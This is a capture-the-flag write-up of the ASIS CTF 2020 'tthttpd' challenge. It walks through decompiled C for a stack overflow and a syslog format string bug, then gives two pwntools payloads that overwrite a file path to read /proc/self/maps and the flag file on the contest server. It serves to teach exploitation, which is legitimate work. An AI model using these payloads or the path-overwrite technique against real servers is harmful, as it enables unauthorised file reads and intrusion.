본문 바로가기

PWN

ASIS CTF 2020 / tthttpd

#Find bug

 

It is a simple HTTP server written in C language. There are two simple vulnerabilities.

1. Stack overflow
Length is not verified when receiving input from the client. Therefore, Stack overflow occurs.

 

int __fastcall readline(_BYTE *buf)
{
  int result; // eax
  _BYTE *i; // [rsp+18h] [rbp-8h]

  for ( i = buf; ; ++i )
  {
    result = fgetc(stdin);
    if ( (_BYTE)result == -1 )
      break;
    if ( (_BYTE)result == '\n' && *(i - 1) == '\r' )
    {
      result = (_DWORD)i - 1;
      *(i - 1) = 0;
      return result;
    }
    *i = result;
  }
  return result;
}

We can do a lot with this vulnerability because no canary exists on the HTTP server.

 

 


2. Format string bug

The HTTP server uses the syslog function to log. The client can put arbitrary input in the format part of this function. 

int __fastcall respfile(const char *file, unsigned int status, __int64 a3)
{
  unsigned int length; // eax
  int result; // eax
  unsigned int v5; // eax
  __int64 disc; // [rsp+8h] [rbp-28h]
  FILE *fd; // [rsp+28h] [rbp-8h]

  disc = a3;
  fd = fopen(file, "rb");
  syslog(7, file);                              // format string bug
  if ( fd )
  {
    length = filesize(fd);
    printf("HTTP/1.1 %d %s\r\nContent-Length: %d\r\n\r\n", status, disc, length);
    result = dumpfile(fd);
  }
  else if ( status == 404 )
  {
    fd = fopen("./error/500.html", "rb");
    if ( !fd )
      _exit(1);
    v5 = filesize(fd);
    printf("HTTP/1.1 500 Internal Server Error\r\nContent-Length: %d\r\n\r\n", v5);
    result = dumpfile(fd);
  }
  else
  {
    result = respfile("./error/404.html", 0x194u, (__int64)"Not Found");
  }
  if ( fd )
    result = fclose(fd);
  return result;
}

 

 

https://linux.die.net/man/3/syslog

 

This bug is not needed to read the flag.

 

#Read flag

 

 

The HTTP server filters the string ".." to prevent hacking. However, the client can modify the file path arbitrarily by using Stack overflow. 

 

 This allows clients to read arbitrary files.The HTTP server filters the string ".." to prevent hacking. However, the client can modify the file path arbitrarily by using Stack overflow. This is because file_name is a local variable located after buf. This allows clients to read arbitrary files.

 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-1014h]
  char buf; // [rsp+10h] [rbp-1010h]
  char v5; // [rsp+810h] [rbp-810h]
  unsigned __int64 v6; // [rsp+1018h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setup();
  for ( i = 0; i < max_keep_alive_requests && (unsigned int)handle_request(&buf, &v5); ++i )
    ;
  closelog();
  _exit(0);
}

__int64 __fastcall handle_request(_BYTE *buf, _WORD *file_name)
{
  char *v2; // rax
  unsigned __int64 v3; // rax
  char *v4; // rax
  int i; // [rsp+14h] [rbp-1Ch]
  unsigned int keep_alive; // [rsp+18h] [rbp-18h]
  int v8; // [rsp+1Ch] [rbp-14h]
  _BYTE *j; // [rsp+20h] [rbp-10h]
  char *path; // [rsp+28h] [rbp-8h]

  keep_alive = 0;
  memset(file_name, 0, 0x100uLL);
  memset(buf, 0, 0x100uLL);
  *(_QWORD *)file_name = 'oorcod/.';
  file_name[4] = 't';
  readline(buf);                                
  v2 = strtok(buf, " ");
  if ( !strcmp(v2, "GET") )
  {
    path = strtok(0LL, " ");
    if ( !path )
      _exit(1);
    if ( strstr(path, "..") )// .. 필터링
    {
      respfile("./error/666.html", 0x29Au, (__int64)"You Are Hacker");
      _exit(1);
    }
    if ( *path != '/' )
      _exit(1);
    if ( !path[1] )
    {
      v3 = (unsigned __int64)&path[strlen(path)];
      *(_QWORD *)v3 = 'th.xedni';
      *(_WORD *)(v3 + 8) = 'lm';
      *(_BYTE *)(v3 + 10) = 0;
    }
    v8 = strlen(path);
    for ( i = 0; i < v8; ++i )
      *((_BYTE *)file_name + i + 9) = path[i];  
    do
    {
      readline(buf);                            // Overwrite File path using Stack overflow
      for ( j = buf; *j; ++j )
        *j = tolower((char)*j);
      if ( strtok(buf, ":") )
      {
        if ( !strcmp(buf, "connection") )
        {
          v4 = strtok(0LL, &byte_12A1);
          if ( !strcmp(v4, " keep-alive") )
            keep_alive = 1;
        }
      }
    }
    while ( *buf );
    respfile((const char *)file_name, 200u, (__int64)"OK");//resp any file!!! 
  }
  else
  {
    respfile("./error/405.html", 405u, (__int64)"Not Allowed");
  }
  return keep_alive;
}

 

 

We can read a arbitrary file in the file system or overwrite the return address using the Stack overflow. Before overwriting the return address, we must read the /proc/self/maps file to bypass PIE and aslr.

 

 

from pwn import *
p = remote('76.74.170.193',9006)

payload = "GET /"+"a"*0x100
payload+="\r\n"
payload+='connection: keep-alive'
payload+="\r\n" 
payload+='a'*0x800
payload+="/proc/self/maps" #path


payload+='\r\n\r\n'
p.send(payload)

p.interactive()

 

 

Binaries exist in /home/pwn/. Don't you think there will be a flag in /home/pwn/flag.txt?

 

from pwn import *
p = remote('76.74.170.193',9006)

payload = "GET /"+"a"*0x100
payload+="\r\n"
payload+='connection: keep-alive'
payload+="\r\n" 
payload+='a'*0x800
payload+="/home/pwn/flag.txt"


payload+='\r\n\r\n'
p.send(payload)

p.interactive()

 

 

 

Cool.

 

 

 

 


 

We can't overwrite return address using stack overflow.

https://ptr-yudai.hatenablog.com/entry/2020/07/06/000622

'PWN' 카테고리의 다른 글

ASIS CTF 2020 / shared_house  (0) 2020.07.08
Structure for Kernel heap exploit  (0) 2020.07.07
Multiple vulnerabilities In radare2-extras / Fixed  (0) 2020.07.03
2020 PWN2WIN / tukro  (0) 2020.06.01
2020 DawgCTF / trASCII  (0) 2020.04.14